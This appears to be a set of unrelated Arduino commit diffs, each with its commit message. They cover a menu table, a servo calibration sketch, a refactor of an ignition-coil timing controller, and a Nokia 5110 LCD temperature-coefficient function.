   { ". Test Pince", &el_top_num_menu_2},
   { ". Test Moteur", &top_el_muse},
-  //{ ". File Select", &el_top_fs },
+  { "Tests ecran", NULL },
+  { ". Combo", &el_top_combo},
+  { ". File Select", &el_top_fs },
   { "Debug ", NULL },
   { ". Debug Moteur", &el_top_num_menu_debug_01},
   { ". Debug Autre", &el_top_num_menu_debug_02},
-  { "Top", &top_el_expandable_menu },
+  //{ "Top", &top_el_expandable_menu },
   { NULL, NULL },
 };


calibration code

calibration code

--- Servos/servo_controller/servo_controller.ino
+++ Servos/servo_controller/servo_controller.ino
@@ -1 +1,37 @@
+#include <Servo.h>

+Servo servo;
+
+/* low and high positions for all 9 arduinos, labeled and corresponding to the array index */
+int servo_low[] = {110};
+int servo_high[] = {175, 180};
+
+int height = servo_high[0];
+
+void setup()
+{
+  Serial.begin(9600);
+
+  servo.attach(9);
+
+
+}
+
+void loop()
+{
+  Serial.println(servo.read());
+  while(height > servo_low[0])
+  {
+    height--;
+    servo.write(height);
+    delay(20);
+  }
+  while(height < servo_high[0])
+  {
+    height++;
+    servo.write(height);
+    delay(20);
+  }
+
+
+}


Removing logic from ISR_IGNITION and setting for serial output per n loops

--- Flameduino/Flameduino.ino
+++ Flameduino/Flameduino.ino
@@ -25,14 +25,17 @@
 // -------------------------
 #define OFF 0
 #define DWELL 1
-#define MF_WAIT 2
-#define MF_DWELL 3
-#define WAIT 4
+#define FIRE 2
+#define MF_WAIT 3
+#define MF_DWELL 4
+#define MULTIFIRE 5
+#define WAIT 6

 // -------------------------
 //        Settings
 // -------------------------
-const bool debug = true;       //true = write to serial monitor, false = bypass
+const bool debug = true;        //true = write to serial monitor, false = bypass
+const int serialOutLoops = 5;   //Number of loops that should execute before a serial write
 //Ignition Settings
 const int dwell = 2500;         //Ignition coil charging dwell in microseconds (2.5ms = 2500us)
 const long periodMax = 1000000; //Maximum period between ignitions, in microseconds (min frequency)
@@ -56,9 +59,10 @@
 volatile unsigned long tachDuration1 = 0;
 volatile unsigned long tachDuration2 = 0;
 volatile unsigned long tachLast = 0;
-volatile unsigned int ignitionMode = OFF;
-volatile int remainingCount = 0;
+volatile byte ignitionMode = OFF;
+volatile byte remainingCount = 0;
 volatile bool updateTimer = false;
+int loopsSinceSerialWrite = 0;
 long period = 0;

 // -------------------------
@@ -101,11 +105,26 @@
   period = getPeriod();
   rpm = getRPM();

+  noInterrupts();
   if (active && ignitionMode == OFF)
     enableCoil();
   else if (!active)
     disableCoil();
-
+
+  switch(ignitionMode)
+  {
+    case FIRE:
+      dischargeCoil();
+      if (multiFire) remainingCount = multiCount - 1;
+      ignitionMode = nextMode(ignitionMode);
+      break;
+    case MULTIFIRE:
+      dischargeCoil();
+      remainingCount--;
+      ignitionMode = nextMode(ignitionMode);
+      break;
+  }
+
   if (updateTimer)
   {
     //Set the delay period (Head of Mode)
@@ -117,6 +136,7 @@
         break;
       case DWELL:
         //Charging Coil
+        chargeCoil();
         Timer1.attachInterrupt(ISR_IGNITION, dwell);
         Timer1.start();
         break;
@@ -127,6 +147,7 @@
         break;
       case MF_DWELL:
         //Charging Coil
+        chargeCoil();
         Timer1.attachInterrupt(ISR_IGNITION, dwell);
         Timer1.start();
         break;
@@ -138,8 +159,9 @@
     }
     updateTimer = false;
   }
-
-  if (debug)
+  interrupts();
+
+  if (debug && loopsSinceSerialWrite >= serialOutLoops)
   {
     Serial.print("Period: ");
     Serial.print(period / 1000.0);
@@ -148,7 +170,10 @@
     Serial.print("ms, RPM: ");
     Serial.print(rpm);
     Serial.println();
-  }
+    loopsSinceSerialWrite = 0;
+  }
+
+  loopsSinceSerialWrite++;
 }

 // -------------------------
@@ -166,7 +191,7 @@

   float percentage = frequency / 1023.0;

-  if (debug)
+  if (debug && loopsSinceSerialWrite >= serialOutLoops)
   {
     Serial.print("Frequency: ");
     Serial.print(frequency);
@@ -180,7 +205,8 @@

 unsigned int getRPM()
 {
-  if (debug)
+  noInterrupts();
+  if (debug  && loopsSinceSerialWrite >= serialOutLoops)
   {
     Serial.print("t0: ");
     Serial.print(tachDuration0);
@@ -193,20 +219,23 @@

   //Calculate Weighted Average
   unsigned long average = (3*tachDuration0 + 2*tachDuration1 + 1*tachDuration2)/6;
+  interrupts();
+
   return 60.0 * 1000000 / average;
 }

 void enableCoil()
 {
   //Enable Coil Firing
-  ignitionMode = WAIT;
+  ignitionMode = DWELL;
+  updateTimer = true;
 }

 void disableCoil()
 {
   //Disable Coil Firing
-  Timer1.stop();
   ignitionMode = OFF;
+  updateTimer = true;
 }

 void chargeCoil()
@@ -231,105 +260,23 @@
   digitalWrite(INTERNAL_LED_PIN, LOW);
 }

-void fireMultiple()
-{
-  fireCoil();
-  for(int i = 1; i < multiCount; i++)
-  {
-    delayMicroseconds(multiDelay);
-    fireCoil();
-  }
-}
-
-void fireCoil()
-{
-  chargeCoil();
-  delayMicroseconds(dwell);
-  dischargeCoil();
-}
-
-// -------------------------
-//    Interrupt Handlers
-// -------------------------
-void ISR_TACH()
-{
-  unsigned long duration;
-  unsigned long previous = tachLast;
-  unsigned long current = micros();
-  tachLast = current;
-
-  //Now that tachLast has been set, enable Interrupts
-  interrupts();
-
-  if (current >= previous)
-  {
-    duration = current - previous + tachTrim;
-  }
-  else
-  {
-    //Handle Rollover
-    duration = 0xFFFFFFFFu - previous + current + tachTrim;
-  }
-
-  //Shift the values
-  tachDuration2 = tachDuration1;
-  tachDuration1 = tachDuration0;
-  tachDuration0 = duration;
-
-  //Calculate RPM
-  //rpm = getRPM();
-}
-
-void ISR_ACTIVE()
-{
-  //Set the active global variable
-  active = digitalRead(ACTIVATION_PIN) == LOW;
-}
-
-void ISR_IGNITION()
-{
-  //Control the ignition (Tail of Mode)
-  switch(ignitionMode)
-  {
-    case OFF:
-      //Do nothing
-      return;
-    case DWELL:
-      //Fire
-      dischargeCoil();
-      if (multiFire) remainingCount = multiCount - 1;
-      break;
-    case MF_WAIT:
-      //Charge Coil
-      chargeCoil();
-      break;
-    case MF_DWELL:
-      //MultiFire
-      dischargeCoil();
-      remainingCount--;
-      break;
-    case WAIT:
-      //Charge coil
-      chargeCoil();
-      break;
-  }
-
-  //Advance the Mode
-  ignitionMode = nextMode(ignitionMode);
-  updateTimer = true;
-}
-
-int nextMode(int mode)
+byte nextMode(byte mode)
 {
   switch(mode) {
     case OFF:
       return OFF;
     case DWELL:
+      return FIRE;
+    case FIRE:
       if(multiFire && remainingCount > 0)
         return MF_WAIT;
       else
         return WAIT;
     case MF_WAIT:
+      return MF_DWELL;
+    case MF_DWELL:
+      return MULTIFIRE;
+    case MULTIFIRE:
       if (remainingCount > 0)
         return MF_WAIT;
       else
@@ -337,6 +284,68 @@
     case WAIT:
       return DWELL;
   }
+}
+
+void fireMultiple()
+{
+  fireCoil();
+  for(int i = 1; i < multiCount; i++)
+  {
+    delayMicroseconds(multiDelay);
+    fireCoil();
+  }
+}
+
+void fireCoil()
+{
+  chargeCoil();
+  delayMicroseconds(dwell);
+  dischargeCoil();
+}
+
+// -------------------------
+//    Interrupt Handlers
+// -------------------------
+void ISR_TACH()
+{
+  unsigned long duration;
+  unsigned long previous = tachLast;
+  unsigned long current = micros();
+  tachLast = current;
+
+  //Now that tachLast has been set, enable Interrupts
+  interrupts();
+
+  if (current >= previous)
+  {
+    duration = current - previous + tachTrim;
+  }
+  else
+  {
+    //Handle Rollover
+    duration = 0xFFFFFFFFu - previous + current + tachTrim;
+  }
+
+  //Shift the values
+  tachDuration2 = tachDuration1;
+  tachDuration1 = tachDuration0;
+  tachDuration0 = duration;
+
+  //Calculate RPM
+  //rpm = getRPM();
+}
+
+void ISR_ACTIVE()
+{
+  //Set the active global variable
+  active = digitalRead(ACTIVATION_PIN) == LOW;
+}
+
+void ISR_IGNITION()
+{
+  //Advance the Mode
+  ignitionMode = nextMode(ignitionMode);
+  updateTimer = true;
 }

 // -------------------------


make a function for easily specifying temperature coefficient

--- Nokia_5110/Nokia_5110.ino
+++ Nokia_5110/Nokia_5110.ino
@@ -45,6 +45,35 @@
     execute(0x20);
 }

+/**
+ * Temperature Coefficient value could be one of 0, 1, 2 or 3;
+ */
+void setTemperatureCoefficient(unsigned short value){
+
+    if(value < 0 || value > 3)
+        return;
+
+    extendedInstruction();
+
+    switch(value){
+        case 0:
+            execute(0x04);
+            break;
+
+        case 1:
+            execute(0x05);
+            break;
+
+        case 2:
+            execute(0x06);
+            break;
+
+        case 3:
+            execute(0x07);
+            break;
+    }
+}
+
 void setup() {
     pinMode(RST, OUTPUT);
     pinMode(CE, OUTPUT);
@@ -57,9 +86,9 @@

     setContrast(6);
+    setTemperatureCoefficient(0);

     extendedInstruction();
-    execute(0x04); // set temp coefficent
     execute(0x14); // LCD bias mode 1:40

     basicInstruction();